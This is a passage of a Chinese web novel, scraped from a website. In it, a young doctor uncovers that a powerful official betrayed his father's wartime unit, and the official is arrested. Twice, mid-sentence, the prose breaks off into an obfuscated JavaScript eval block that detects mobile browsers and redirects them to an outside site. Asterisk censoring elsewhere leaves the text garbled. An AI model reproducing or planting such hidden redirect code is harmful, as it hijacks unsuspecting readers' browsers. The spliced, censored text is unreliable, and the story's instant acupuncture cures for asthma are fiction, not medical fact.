秦伯眼中那最后一丝锐利的怀疑与警惕，如同冰雪消融，彻底褪去。取而代之的，是汹涌的激动与浓得化不开的悲痛！这位守护秘密数十年、孤独如化石的老人，再也抑制不住。滚烫的泪水顺着他沟壑纵横的脸颊无声滑落。 “像……太像了……”他望着林卫国，声音哽咽，仿佛透过他看到了多年前那个意气风发的年轻人，“这股沉稳劲儿，跟你爹当年 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“他是整个分队最出色的王牌侦察兵，更是不可或缺的战地医生！他曾孤身潜入敌后七天七夜，带回扭转整个战局的情报！也曾数次在队伍弹尽粮绝、陷入绝境时，凭一手出神入化的医术，硬生生将我们从鬼门关拉回来！” “你看到的那张照片，就是当年我们成功策反敌军一位重要将领后，陈老和几个核心队员留下的唯一合影。” 秦伯的讲述，在林卫国心中掀起惊涛骇浪！ 那个沉默寡言、只会打猎编筐的父亲…… 那个连跟村干部说话都会脸红的父亲…… 竟然有过如此波澜壮阔、九死一生的过去！ 这个真相，狠狠撕碎了他两辈子对父亲的全部认知！ 就在林卫国被巨大的震撼淹没时。 秦伯的脸色骤然变得无比沉痛与怨毒！浑浊老眼中迸射出刻骨的恨意！ 他压低了声音，一字一顿，吐露出一个更加残酷的真相。 “孩子，你要记住。” “你父亲林长山，不是退役，不是转业，更不是逃兵！” “在他的档案里，他是‘烈士’！是‘战死’在三十年前，代号‘黎明’的最后一次任务里！” 第77章 棋局 “什么？！”林卫国猛地站起，如遭重击！ 秦伯双拳死死攥紧，指节捏得发白。 “那次任务，敌人伏击得精准到令人发指！我们的路线、火力配置、甚至每个人的行动习惯，他们都了如指掌！那一战，‘九分队’几乎全军覆没！” “你父亲和少数几个幸存者，是踩着战友们的尸体，才从地狱里逃出来。” “那一刻，我们就明白了。” 秦伯的声音冰冷彻骨。 “队伍里，出了叛徒！” “为了保护你父亲——他是在伏击中唯一接触过敌人最高指挥官的重要证人！陈老事后亲自下令，销毁了他所有的真实档案。让他‘死’在那场伏击中，从此隐姓埋名，做个最普通的农民，彻底消失！” 秦伯缓缓抬头，那双老眼里，寒光凛冽。 “而那个处心积虑把照片送到你手上的人，毫无疑问……” “就是想把这个本该永沉水底的秘密，重新炸出来！” “叛徒！” 两个字，如冰锥刺入昏暗的书斋，空气骤然冻结。 秦伯浑浊的老眼里，翻滚着压制了三十年的滔天恨意！他一步步挪到书架最深处，枯瘦的手指在积满灰尘的角落摸索片刻，掏出一个油纸包裹。 层层剥开，露出泛黄纸页。那是一本名册，娟秀的蝇头小楷记录着“九分队”所有队员的姓名、代号、籍贯。 大多数名字上，赫然覆盖着鲜红刺目的叉！ 他那枯树根般颤动着的手指，最终停在其中一个名字上。 “贺卫东。”秦伯的指关节因用力而泛白，牙齿缝里挤出的声音带着切齿之恨，“就是他！” “当年代号‘邮差’，负责分队与后方的通讯联络。也是那场伏击里……”他深吸一口气，声音里淬满毒液，“除了你爹‘山猫’，唯一一个……毫发无伤的‘幸存者’！” 林卫国眼角一跳：“毫发无伤？” “没错！”秦伯的怨毒几乎化为实质，“九分队几乎全员战死！你爹是从**堆里爬出来的！贺卫东呢？**只是‘受了点惊吓’！” “战后我们都疑心他。可没有证据，他背后又有神秘力量保他，硬是不了了之。谁知这个本该挨审查的，反倒一路高升。短短三十年，如今已是京城某部委里手握实权的高官！” 秦伯声音更冷，带着尖锐的讽刺：“更妙的是，在朝堂上，他一直是陈岩老元勋最激烈的反对者！是陈老的头号政敌之一！” 一切瞬间明朗！ “陈老近来奇迹般康复，他慌了！”秦伯低吼，“他怕！怕陈老腾出手来翻旧账！怕当年血案的真相大白天下！寄照片给你爹，就是想试探，想把世上最后一个知道他秘密的活人，彻底抹掉！” 林卫国如遭雷击，冷汗瞬间湿透后背！ 他进京了！竟然在毫不知情下，一头扎进了最危险的虎穴！他之前的行为，无异于举着火把闯进毒蛇的巢穴，清清楚楚地告诉那条潜伏了三十年的阴险毒蛇——他爹还活着！ 爹娘！小妹！他们都危在旦夕！ “我得立刻回安平！”林卫国再也无法冷静，转身就要冲出去。 “站住！”秦伯厉喝，死死拦住他，“你现在回去，就是自投罗网！正好给那毒蛇带路！他愁的就是找不到你爹在哪儿！” “那我爹娘他们……”林卫国心急如焚，两辈子加起来也没这么痛恨自己的无力！ 就在此时—— “咚咚咚。” 几声清晰而克制的敲门声，突然响起。 秦伯和林卫国脸色同时剧变！这秘密联络点，绝不会有第三者知晓！ 秦伯眼中寒光一闪，悄然从柜台下摸出一把上了膛的****。 然而门外，却响起一个沉稳、熟悉的声音： “秦伯，是我，王刚。” 来人竟是陈岩老元勋的首席警卫员！ 秦伯紧绷的神经一松，赶忙开门。 王刚一步踏入，甚至顾不上寒暄，径直走到林卫国面前，啪地一个标准的军礼： “林顾问！”他的声音沉稳有力，带着令人安心的力量，“陈老让我转告您：家里的事，您不必担 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“就是他那不成器的独子——贺军！”王刚语带轻蔑，“一个在京城圈里臭名昭著的纨绔，游手好闲，荒唐透顶，还得了身连协和都束手无策的怪病。” 王刚的目光锁住林卫国：“陈老，已为您布好一局棋。” “而您，”他一字一顿，如同战鼓敲在林卫国心头，“就是这盘棋上，最关键的那枚直捣黄龙的……” “当头炮！” 无名书斋内，陈岩元勋的首席警卫员王刚，向林卫国详细阐述了那盘早已布下的“棋局”。 “贺卫东这个人，老奸巨猾，经营了三十年，早已将自己打造成了一个水泼不进的铁桶。从正面攻击，几乎不可能找到任何破绽。”王刚的声音沉稳，眼神锐利，“但是，他有一个唯一的，也是最致命的软肋——他的独生子，贺军。” “这个贺军，是京城圈子里出了名的纨绔子弟。仗着贺卫东的权势，从小到大飞扬跋扈，无法无天。但他有一个秘密，一个让他‘颜面尽失’的秘密。” 第78章 鱼儿咬钩了 王刚嘴角噙着一抹意味深长的笑意。 “他得了种怪病，严重过敏性哮喘，一到秋冬或变天就喘得要死。贺卫东为这宝贝儿子遍访京城名医，连国外专家都请过，还是治不好。”他指尖在桌沿轻点了一下，仿佛在计数那些徒劳的努力。 他声音压低，带着把握： “这，就是我们的突破口。” “陈老已经安排好了。”王刚望向林卫国，目光信任，“明天下午后海齐宅，有位国画泰斗齐老先生要办个小型的品画会。贺军已经收到请柬。”林卫国微微颔首，眼中无波无澜。 “同时，齐老会‘恰好’听闻京城来了位擅治疑难杂症的‘林神医’。他会以‘调理身体’为由，把你也请去品画会。”窗外的夕阳，此刻正给他的侧脸镀上一层薄薄的金边。 王刚眼神一锐： “接下来，就得看你这位‘当头炮’，如何一炮打响，将军老帅了。” …… 翌日下午，后海齐家宅院。 青砖灰瓦的老四合院，古色古香。院中百年海棠开得正盛，微风拂过，暗香浮动。几片零落的粉色花瓣，沾在青苔点点的石径上。 品画会设在书房，连主人在内不过五六人，都是京城有头有脸的人物。屋内陈设清雅，黄花梨木的书架散发着幽光。 其中，一身时髦喇叭裤、花衬衫，头发油亮叼着“万宝路”的贺军最为扎眼。他斜倚在太师椅上，翘着二郎腿，与周遭的清雅格格不入，脸上写满不耐烦。那太师椅的雕花靠背，似乎硌得他颇为不适。 “齐爷爷，画是好画。可光看一下午多没劲。” 他吐了个烟圈，语气轻佻： “回头给您弄两瓶真茅台，边喝边看才有味儿。” 齐老先生未置可否，只端起紫砂小盏呷了口茶，抬眼看了看挂钟。时间已近傍晚，室内的光线略显柔和。 此时，管家领着个衣着朴素的年轻人进来。 “齐老，您请的林大夫到了。”管家声音不高，却足以让每个人都听见。 贺军懒洋洋地抬了抬眼皮，扫向林卫国。看清对方年纪似乎比自己还小，他脸上的倨傲瞬间化作毫不掩饰的轻蔑。他的嘴角撇了一下，像是不屑地品咂着什么。 “哟，齐爷爷，这哪儿请的‘神医’？” 他怪声怪调，讥笑： “**长齐了没？您老可别让江湖骗子给糊弄了吧？”那‘**长齐’的字眼，他咬得尤其轻佻。 这刺耳的话让其他几位客人眉头微蹙，齐老脸上也掠过一丝不悦。一位穿中山装的老者，不易察觉地摇了摇头。 林卫国却像没听见，目光平静地掠过众人，只对齐老微微颔首，便自顾自在角落坐下，端起茶杯品茗。那茶香是澄明清冽的龙井。 这份无视，瞬间点燃了被捧惯了的贺军的怒火。一个不知哪儿冒出来的穷小子，敢在他面前摆谱？ 他身子稍向前倾，正要再挖苦几句。 那根夹在指间的“万宝路”，烟灰簌簌落在青砖地面上。 突然！ “咳！咳咳！嗬……嗬……” 一阵窒息感如同铁钳扼喉般猛然袭来！贺军脸上的血色瞬间褪尽，人像离水的鱼，大张着嘴拼命喘气，喉咙里发出骇人的嘶鸣。汗水顷刻间从他的发际线渗出。 哮喘，发作了！ “快！药！” “贺少！您的药呢！” 书房顿时乱了套！桌椅被急切的动作碰撞出声响。 贺军浑身瘫软，呼吸困难，手抖着在身上乱摸，却怎么也掏不出那救命的喷雾。他直接从太师椅上滑倒在地，昂贵的丝质衬衫在拉扯中皱成一团，面色因缺氧变得青紫，眼看就要不行了！他的手指徒劳地抠着冰凉的砖面。 千钧一发！ 齐老猛地指向角落的林卫国： “快！林神医！快请林神医出手！” 贺军的跟班这才如梦初醒，慌忙松开想要搀扶主人的手，手忙脚乱想把人往林卫国那边拽。 窒息边缘的贺军意识尚存。他盯着那个依旧气定神闲喝茶的年轻人，那副泰然的样子此刻如同尖刺，眼中充斥着**与不甘。死也不愿向刚被自己羞辱的“骗子”求救！ 林卫国终于放下茶杯，不疾不徐地起身走来。 他居高临下，扫了地上狼狈的贺军一眼，缓缓开口，声音平静却字字清晰： “贺公子这病，病根不在肺，在肾。” “肾主纳气，你先天肾精亏虚 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林卫国没有答话，只从怀中取出一个古朴的牛角针盒，打开，指间拈出三根细如牛毛的银针。针尖在略显昏暗的室内闪过一点寒芒。 电光火石间！ 不等众人看清，三针已精准刺入贺军背部“肺俞”、“肾俞”、“定喘”三穴！快得连血珠都未及渗出。林卫国的手法干净利落，三指旋弹，针体轻颤。 贺军只觉三股暖流如温泉涌入，直冲肺腑！ 下一瞬！ 那火烧火燎、堵塞的呼吸道骤然畅通！久违的清凉空气大口涌入！喉咙里的风箱声骤停。 劫后余生！他舒服得几乎呻吟！ 这立竿见影的神效，彻底击溃了这纨绔子弟最后一点矜持！ 他一把抓住林卫国收针的手，冰冷粘腻的手如同抓住救世主，声音急促带着哀求： “神医！林神医！我错了！我有眼不识泰山！求您救我！” “只要治好我！钱！房子！我们贺家给得起！什么都行！” 林卫国看着贺军前倨后恭的模样，心底波澜不惊，唯有一念清晰。 手背上，那攥紧的力道还未松开。 鱼儿，咬钩了。 第79章 不知你可听过？ 空气里还浮动着齐老画室散开的墨香，林卫国那一手“三针定喘”的本事，就把向来目中无人的贺军压得服服帖帖。 画展的宾客还没散尽，贺军是一刻也等不及了，拉上林卫国就坐进了那辆伏尔加，车头那块特殊牌照格外打眼。车子一路往西，最后停在京城远郊一片异常安静的地带。没有想象里的高楼大厦，深墙大院一座接一座隐在林子深处，能在这儿安家的，都不是寻常人。 贺家的院门高大气派，像把自己圈在另一个世界里。里面的布置乍看并不张扬，细品却能觉出非同一般：脚下踩着的是深色木头，泛着温润的光，墙边随意放了盆素淡的兰花，无声地诉说着主人那份不动声色的实力。 “林神医！快，快请里面坐！” 贺军的母亲早已候在门边。这位贵妇人保养得精致，脸上推着热切的笑容，可那拧紧的眉头和眼角的细纹，藏不住日积月累操劳的疲惫。 “这孩子……快把我们的心都熬干了！”她一把抓住林卫国的手腕，话音里带了明显的颤音，“林神医，只要能治好他，我们贺家记您一辈子的大恩！” 她正要细说贺军的病况，书房那边传来脚步声，一下下稳稳落地。 一个戴着金丝眼镜、气质斯文如同大学教授的中年男人缓步走来。正是贺家真正的主心骨——贺军的父亲贺卫东。 见到林卫国，贺卫东脸上立刻绽放出温和真诚的笑意，主动伸过手来： “这就是救了我儿子的林神医？年轻有为啊！早就听说了！” 他语气亲昵，笑容满面。可林卫国却敏锐地察觉到，那温润的镜片后面，目光倏地冷过一丝，快得像没发生过，却带着审视的力道。 …… 晚饭桌上，贺卫东热情挽留林卫国作客。杯盏碰响，气氛似乎很热闹。贺卫东看似闲聊，句句话却都像有根无形的线，不着痕迹地探问着。 “小林神医这么年轻，医术就精妙到这种地步，真是让人开了眼界。”他随手给林卫国夹了一筷子菜，自然得像说天气，“不知师从哪一位世外高人？想必是位深藏不露的圣手？” 来了。探底的话终于递了出来。 林卫国从容地放下碗筷，将早已准备好的身份——陈老他们替他编好的“南方隐世名医传人”——稳稳抛出。 “师父性子淡，早就不问外面的事了。我这丁点儿本事，学得实在浅陋，让贺部长笑话了。” 贺卫东微微点头，眼神似乎还在看着桌上的菜，接着又不经意似的问道： “都说南方的药性温和，像春雨，北方的药力就猛烈得多，像秋风扫落叶。小林神医钻研医道这么多年，对南北药性的区别，一定有些独到的见识吧？” 这是要掂量他的真分量了。 林卫国心中早有定数，不慌不忙地将现代药理的精要，巧妙地化入“阴阳五行”、“君臣佐使”这些中医古理之中，侃侃而谈起来： “贺部长所言不差。然小子以为，药不分南北，方需辨阴阳。君臣佐使之妙，在于调和诸药偏性，合力攻病。如同用兵，猛将须有儒帅运筹，方能克敌制胜。” 这番话既让人听得明白，又显高深莫测。贺卫东一时竟也寻不出破绽。 酒过几巡。 谈及贺军病因时，林卫国不仅深入剖析其“先天肾气亏虚，难纳气归元”的根本，更话锋顺势一转，像是无意提及： “其实，令郎这类先天不足之症，若后天调养得宜，未必如此危重。” 他停顿片刻，抬眼道：“但若长期身处特定环境，比如接触大量重金属矿物粉尘，或是身体受过高浓度特殊化学制剂刺激，极易诱发加重，随年岁增长……后果更甚。” “重金属”！“化学药剂”！ 这两个词如同钢针，狠狠扎进贺卫东耳中！ 他举杯的手，悬在空中，几不可察地顿了一下！ 镜片后的瞳孔，骤然紧缩！ 这些……都与当年“九分队”在敌后执行那些绝密任务息息相关！ 他是无心撞破？还是故意试探？ 贺卫东心头警铃大作，对林卫国的戒备瞬间升至巅峰！ …… 晚宴结束。 林卫国准备为贺军进行首次系统针灸。他打开针囊，刚拈起细如牛毛的银针。 一直旁观的贺卫东，突然笑着端来一杯热茶： “林神医辛苦一天，先喝口茶润润。” 他笑容依旧和煦，语气仍是那般自然。 “说起来，您竟是安平县人？真是巧了。” 他注视着林卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200700|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国，仿佛陷入追忆，闲聊般的口吻缓缓吐出那句在心底打磨了千百遍的话： “当年在部队，我有个铁杆战友，转业后也分去安平林区。他枪法极准，是个好猎手，性子也如林神医一般，沉稳踏实。” 贺卫东紧盯着林卫国的眼睛，一字一顿： “他叫……林、长、山。” “不知你可听过？” 这问题裹着剧毒，猝不及防，如利刃直刺林卫国咽喉！ 林卫国内心翻起滔天巨浪！ 但他两世为人，早已将情绪磨砺得沉稳如深潭。 面上不动声色，心跳甚至未失一分规律。 他缓缓接过贺卫东递来的热茶，手指平稳，不晃不颤。 茶杯送到唇边，他轻轻吹开浮叶，略作沉吟，脸上恰到好处地浮现出符合晚辈身份的迷茫与恭敬。 “林长山？”他重复一遍，摇头歉然笑道：“贺主任，我们安平县姓林的是大姓，村里叫‘长山’、‘建国’的，不说一百也有八十。您这名字太普通，我听着实在没什么特别印象。” 他望着贺卫东，语气无比真诚： “不过，能成为您贺主任的战友，肯定是了不起的英雄人物！您放心，我回去一定好好打听。要是找着了，也是我们安平县的光荣！” 他的语气、表情、甚至话语间那恰到好处的停顿，都完美扮演了一个对过往茫然无知、又想在长辈面前表现的聪明晚辈。 毫无破绽！ 贺卫东镜片后的目光毒蛇般审视林卫国良久，似乎想从他脸上挖出一丝心虚。 然而他失望了。 林卫国的眼神清澈坦荡，只有尊敬与好奇。 “呵呵，好，好。”贺卫东深深看他一眼，没再追问，哈哈笑着将此事揭过。 但他搭在膝盖上、看似放松的手，却在无人察觉时，死死攥紧。 一颗充满杀机的怀疑种子，已在他心底生根。 他必须立刻派人去安平县，将这个年轻神医林卫国，从出生到现在，查个底朝天！ …… 为贺军施针时，林卫国展现了神乎其技的医术。 指法轻柔，落针精准。几针下去，原本呼吸急促的贺军顿时感到一股暖流窜遍全身，紧绷的神经松懈下来。 第80章 叛徒是贺卫东！ 在这看似和谐的氛围里，林卫国捻动着银针，仿佛无意般以探讨学术的口吻，对旁观的贺卫东说起一种极其罕见的“矿石哮喘病”。 “贺主任，令郎这病，倒让我想起家师提过的一个奇特病例。” 贺卫东不动声色：“哦？愿闻其详。” 林卫国描述道：“家师诊治过一个病人，在西南边境一处废弃铜矿工作，也得了类似哮喘，反复发作，无法根治。” “奇怪的是，”林卫国声音带上一丝耐人寻味，“家师研究发现，那种铜矿石本身无毒。可一旦和当地一种特殊植物的粉末混合吸入，就会对肾脏造成不可逆的慢性损伤，最终由内而外诱发这种顽固哮喘。” 他详细描述着那植物的形态、气味和生长环境。 贺卫东端着茶杯的手，听到那植物细节时，几不可查地剧颤一下！ 滚烫的茶水泼在手背，他却浑然不觉。 因为林卫国描述的那种植物，正是当年“九分队”最后一次、也是最惨烈那次任务的目标——敌方用来秘密制造新型化学武器的核心原料！ 而那个所谓的“废弃铜矿”，正是他们遭遇伏击，几乎全军覆没的代号之地！ 林卫国成功打草惊蛇。 …… 离开贺家，他没回家，直奔与王刚约定的秘密接头点。 将今晚一切和盘托出。 听完，王刚那向来坚毅的脸上也布满前所未有的凝重。 “你做得很好。”他看着林卫国，眼神复杂，“但也等于把自己彻底推到了悬崖边上。贺卫东这条老狐狸，已经被你彻底惊动。” 果然。 王刚带来了潜伏在贺卫东身边最高级别内线的情报。 “你离开不到半小时，他就暂停了所有派往安平县的人。” “但是，”王刚声音凝重无比，“他动用了地质部门的秘密关系，以‘勘探新型战略矿产’的名义，连夜组织了一支装备精良的地质勘探队！” “明早，这支队伍就坐专机，直飞你刚刚说的那个西南边境‘废弃铜矿’！” 王刚盯着林卫国，一字一顿道： “他不是去找你父亲。” “他是要去彻底毁灭——当年留在那片土地上的一切证据！” 林卫国困在京城，如同一头锁在笼中的猛虎。纵有通天的本事，却无法赶赴千里之外的战场，只能眼睁睁看着毒蛇贺卫东，即将抹去那决定性的最后证据。 他不能离开京城半步。此刻一动，势必惊动贺卫东这条盘踞了三十年的老狐狸。对方只需闻到一丝异常，便会中断一切行动，彻底缩回黑暗的巢穴，再想引他露头，难如登天。 林卫国明白，自己必须留下，做那个吸引贺卫东全部火力的“人质”。 同时，他必须遥控安平县，施以计策，将贺卫东那只妄图篡改历史的手死死按住！ …… 无名书斋内，林卫国强压下翻涌的焦躁，心绪在最短时间内恢复冰封般的冷静。 他立刻开始布局，同时拨通了两个至关重要的电话。 第一个电话，打给陈岩元勋首席警卫员王刚。 “王大哥，我需要立刻动用陈老的关系，联系安平县长钱国栋。” “告诉他，贺卫东派去的那支‘地质勘探队’，表面上没问题，让他们招待好。但是——” 林卫国眼中掠过一抹与年龄不符的老辣寒光。 “当他们想进废弃矿区时，县里必须拿出最严苛的官方程序！” “告诉他们，依据刚颁布的《矿产资源保**》，那矿区已被划定为未探明资源保护区！任何勘探活动，必须通过县、市、省三级联合审批！” “让他用这个最正当、最无懈可击的理由，给我拖！一天都别想提前进山！” 第二个电话，打给书斋主人秦伯。 “秦伯，请您立刻通过‘九分队’的秘密渠道，联系安平县的老猎人李大山，找到陈虎。” 林卫国的声音凝重如山。 “交给他们一个十万火急的任务：务必抢在那支勘探队之前，连夜摸进废弃矿区！根据我提供的线索，找到那个可能藏着真相的山洞！” 关键词是……他从父亲梦呓中艰难拼凑出的几个模糊地名，此刻清晰地脱口而出： “三岔口、白桦林、望天吼！” …… 安平县，通往西南林区的唯一公路上。 贺卫东的精锐“地质勘探队”，被民兵和**组成的路障牢牢堵住。 领队的中年干部一脸倨傲地跳下车，将盖着京城部委大红印章的批条砸在钱国栋面前。 “钱国栋！你敢拦我们？我们是奉贺部长之命执行国家级保密任务！误了大事，你这县长担得起吗？！” 钱国栋脸上堆满“公事公办”的为难笑容，轻轻推回批件。 “哎呀，领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200701|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导，您误会了。中央指令和贺部长的命令，安平县绝对拥护！可地方……也有地方的流程嘛？” “您看这不巧了？省里昨天才下文，这片划成‘未探明矿产资源重点保护区’了。要进去也行，只需去市里、省里补办个联合审批手续。” “别急嘛，先在招待所歇几天。我们这边立刻派人，加急给你们往上报批！” 他凭着一手炉火纯青的“拖字诀”，硬是把这队气势汹汹的人马，死死摁在了大山之外。 …… 同一时间，废弃矿区。 陈虎和李大山领着几个本地最精干的猎人，如鬼魅般借着夜色潜入。 山高林密，地形险恶，到处是矿难遗留的深坑陷阱，步步杀机。 他们依循林卫国的关键词，克服重重险阻，如经验最老道的猎犬，在这死亡之地搜索那座隐藏着三十年秘密的山洞。 “虎子哥！看前面，是不是白桦林？” “没错！过了林子就有三岔口！” 最终，在一处断崖下，他们发现了状如仰天咆哮雄狮的巨岩！ “望天吼！”李大山激动地低喊，“就是这儿！” 他们拨开悬垂如瀑的藤蔓，掀开碎石伪装，一个极其隐蔽的山洞口豁然显现！ 洞内阴冷彻骨。 几束光柱刺破黑暗，照向深处。一个用防水油布紧裹、锈迹斑斑的铁皮**箱静静躺在角落。 陈虎心跳如鼓，用工兵铲狠狠砸向锈死的锁扣！ “哐当！” 箱子撬开，没有预想中的武器或黄金。 只有一本被防水牛皮纸包裹着、散发着岁月霉味的旧日记本。 陈虎屏息，颤抖的手指缓缓掀开扉页。 昏黄的手电光晕下，一行钢笔字迹带着无尽的悲愤与绝望，直刺眼帘—— “九分队，林长山绝笔。” “民国三十八年九月十二日，晴，转血雨。” “我们……被出卖了。” “叛徒，是贺卫东！” 字迹刻入脑海的瞬间！ “呜——呜——” 洞外陡然响起刺耳的汽车喇叭轰鸣！ 紧接着，杂沓的脚步声、凶猛的犬吠声，由远及近，清晰传来！ 光柱和人声已将洞口包围！他们被发现了！ 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第81章 看着你们走进地狱！ 山洞里，陈虎打着手电，昏黄的光线下，那本日记上血色的字迹刺得他眼睛发疼，一股冷气从脚底直窜头顶。 叛徒，是贺卫东！ 这个尘封三十年的秘密，竟以如此惨烈的方式重现！ 心神剧震的刹那—— “呜！呜！” 洞外，催命般的汽车喇叭和杂乱的脚步声由远及近！ “虎子哥！糟了！他们追来了！”守在洞口的年轻猎人连滚爬进，脸色煞白。 陈虎瞳孔猛缩，毫不迟疑将那本比命还重的日记塞进怀里，嘶吼出声：“李大爷！带人走后洞！快！” 老猎人李大山无声点头，一个响亮的呼哨划破死寂。几人如同林间狸猫，敏捷地钻进狭窄的后洞出口。 几乎在他们消失的瞬间，所谓“勘探队”的人马已冲到洞口。 为首的是贺卫东的心腹，安平县那个跋扈的中年干部。看着空荡荡的山洞和被撬开的**箱，他脸色铁青。 “妈的！跑了！”他猛地撕下伪装，朝身后狰狞下令，“给我搜！他们跑不远！见一个杀一个，一个活口不留！” 那些“技术人员”立刻从设备箱里抽出闪亮的五六式**和军用**——哪是什么地质队员，分明是一群训练有素、手段狠辣的退伍兵，贺卫东藏了多年的私兵！ 一张死亡的巨网，无声撒向寂静山林。 他们哪里知道，在这片自以为主宰的山林里，自己才是被盯上的猎物。 “头儿，这边有脚印！”一个队员指着地上凌乱的痕迹喊道。 “追！”负责人一挥手，带着十几人循迹钻入密林。 没追多远，跑在最前的队员脚下突地一空！ “啊！”凄厉惨叫。 他整个人瞬间消失！掉进一个浮土落叶伪装的深坑，坑底布满了淬毒的尖利竹签！ “有埋伏！停！”负责**吼。 晚了。在老猎人李大山面前，这片山林他才是绝对的掌控者。他像最高明的棋手，利用对地形的了如指掌，引导着这群自大的追兵，一步步踏入他年轻时布下对付熊瞎子和野猪的夺命陷阱！ “嗷呜——！” 就在追兵惊魂未定之际，山谷深处，陡然响起一声高亢凄厉的狼嚎！ 紧接着，四面八方狼嚎声此起彼伏！ “狼…是狼群！”一个年轻队员吓得声音发颤。 “开枪！吓跑它们！”负责人声嘶力竭。 **响起，非但没吓退“狼群”，反而引来了更恐怖的存在！ “吼——！” 一声撼动山林的熊吼，猛地从侧后方的密林炸开！ 是陈虎！他利用山谷回音，逼真地模仿出狼嚎熊吼，在敌人心中制造了一场混乱的听觉风暴！ 贺卫东的私兵彻底乱了阵脚，在黑暗陌生的山林中如无头苍蝇般乱窜。 激战中，陈虎和李大山一行人，被**的密集火力死死压在了一块巨石之后，火星在石面上迸溅！ “虎子哥！咱们被包圆了！冲不出去！”一个年轻猎人捂着受伤的胳膊绝望喊道。 陈虎“咔哒”一声推上最后**，眼神决绝：“李大爷！带人撤！我殿后！” 千钧一发！ “砰！砰砰！” 一阵威力惊人的猎**，如同滚雷，骤然在敌人包围圈后方炸响！ 贺卫东私兵的后方瞬间人仰马翻，惨叫连连！ “援兵？！”陈虎心头狂喜。 只见山林中，红星公社的民兵队长耿建国，领着几十个手持**、锄头、甚至粪叉的农民，如猛虎下山，从敌后狠狠插了上来！ 是钱国栋县长！他早料到对方可能狗急跳墙，布下了这步暗棋！ 训练有素的私兵被这群“泥腿子”前后夹击，瞬间溃不成军。最终，在原始悍勇的“人民战争”面前，他们丢盔弃甲，悉数被生擒活捉！ …… 京城，贺家大院书房。 檀香袅袅。林卫国正为贺军进行第二次“治疗”。贺卫东坐在一旁，看似品茶，那双镜片后的眼睛却如同毒蛇，一刻不离地监视着林卫国的一举一动。 没有硝烟的心理攻防，在两人间无声交锋。 突然！ “铃铃铃——！” 书桌上那台代表最高机密的红色保密电话，发出刺耳急促的尖叫！ 贺卫东眉头微皱，拿起话筒。 “喂。” 听筒里，他最信任 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短暂的震惊后，贺卫东爆发出更癫狂的大笑！ “好！好！好！有种！不愧是林长山的种！”他笑得眼泪直流，声音里充满讥讽和怜悯。 “没错！我认！三十年前，就是我！我把你们这群蠢货的行踪，卖给了对面的‘朋友’！就是我，亲眼看着你们一个个走进地狱！” 镜片后的眼睛射出刻骨的怨毒和嫉妒： “凭什么？！功劳全是你们的？！凭什么陈岩那老东西，眼里只有林长山那泥腿子？！我贺卫东哪点不如他？！” “我想往上爬，拿回我该得的一切！我攀了高枝，做这颗埋得最深的钉子！我有错吗？！” 他狞笑着，用枪口点了点林卫国的眉心，冰冷的触感让人胆寒。 “知道了又怎样？”贺卫东冷笑，“你和你那废物爹的秘密，今天全得埋在这书房里！” “我会告诉所有人，你是个行刺干部的暴徒，被我就地正法！” “而我，依旧是高高在上的贺部长！”他手指缓缓压上冰冷的**，死亡气息瞬间浓稠。 第82章 代号黎明的任务 就在**即将扣下的刹那！ “轰隆——！” 一声震耳欲聋的巨响！百年金丝楠木打造的厚重房门，竟被一股蛮力从外撞得四分五裂！ 木屑飞溅！ 数名全副武装、眼神如刀的军人以战术队形闪电般突入，黑洞洞的枪口瞬间锁定了房内唯一目标！为首二人，正是军装笔挺的秦振邦老将军，和陈岩元勋的首席警卫员王刚！ 贺卫东彻底僵住！脸上的疯狂与狰狞瞬间冻结，化作极致的错愕和恐惧！ 他想不通！这是他家！京城防卫最森严的区域之一！这些人怎么找到的？他们怎敢强闯部级高官宅邸？！ 王刚没给他思考的时间。他大步上前，将一份盖着****鲜红大印的逮捕令，狠狠拍在贺卫东那张震惊扭曲的脸上！ “贺卫东！”王刚的声音冰寒刺骨，“你被捕了。罪名：叛国！” “叛国”二字如同无形重锤，将他所有的骄傲、幻想和倚仗砸得粉碎！ 手中的****“当啷”落地，贺卫东仿佛被抽走所有骨头，软绵绵瘫倒在地毯上。他知道，一切都结束了。 …… 秦老将军走到林卫国身边，看着枪口下依旧面不改色的年轻人，布满老茧的手重重拍了拍他的肩膀，眼中满是毫不掩饰的欣赏。 “小子，好胆色。陈老说，他没看错人。” …… 一场足以震动京城高层的风波，就此在普通人毫不知情中悄然平息。 几天后。 一架无标识军用运输机在陈岩元勋亲自安排下，降落在安平县秘密机场。一辈子未离乡土的林长山、孙秀娥夫妇，在钱国栋县长陪同下，怀着忐忑与不安登上了飞机，飞向未知的命运。 京城，西山疗养院，戒备森严的特殊病房。 隐姓埋名三十年、早已被历史遗忘的战斗英雄林长山，终于再次见到了他最敬重的老**陈岩。 没有热烈的拥抱，没有激昂的陈词。 两位饱经风霜的古稀老人，隔着几步之遥，默默相望。 时间仿佛倒流回三十年前，那个战火纷飞、并肩浴血的岁月。 “老……老**……”林长山坚毅的双眼看到那同样白发苍苍却眼神锐利的老人时，瞬间红了。激动颤抖的嘴唇，最终只吐出这三个字。 “山……山猫……”陈岩元勋望着被岁月和苦难磨砺得变了模样的老部下，那双古井般的眼睛也被滚烫的泪水模糊。“你……你还活着……” “活着就好……”沙哑的声音带着哽咽。 两位老人皆是无言落泪。 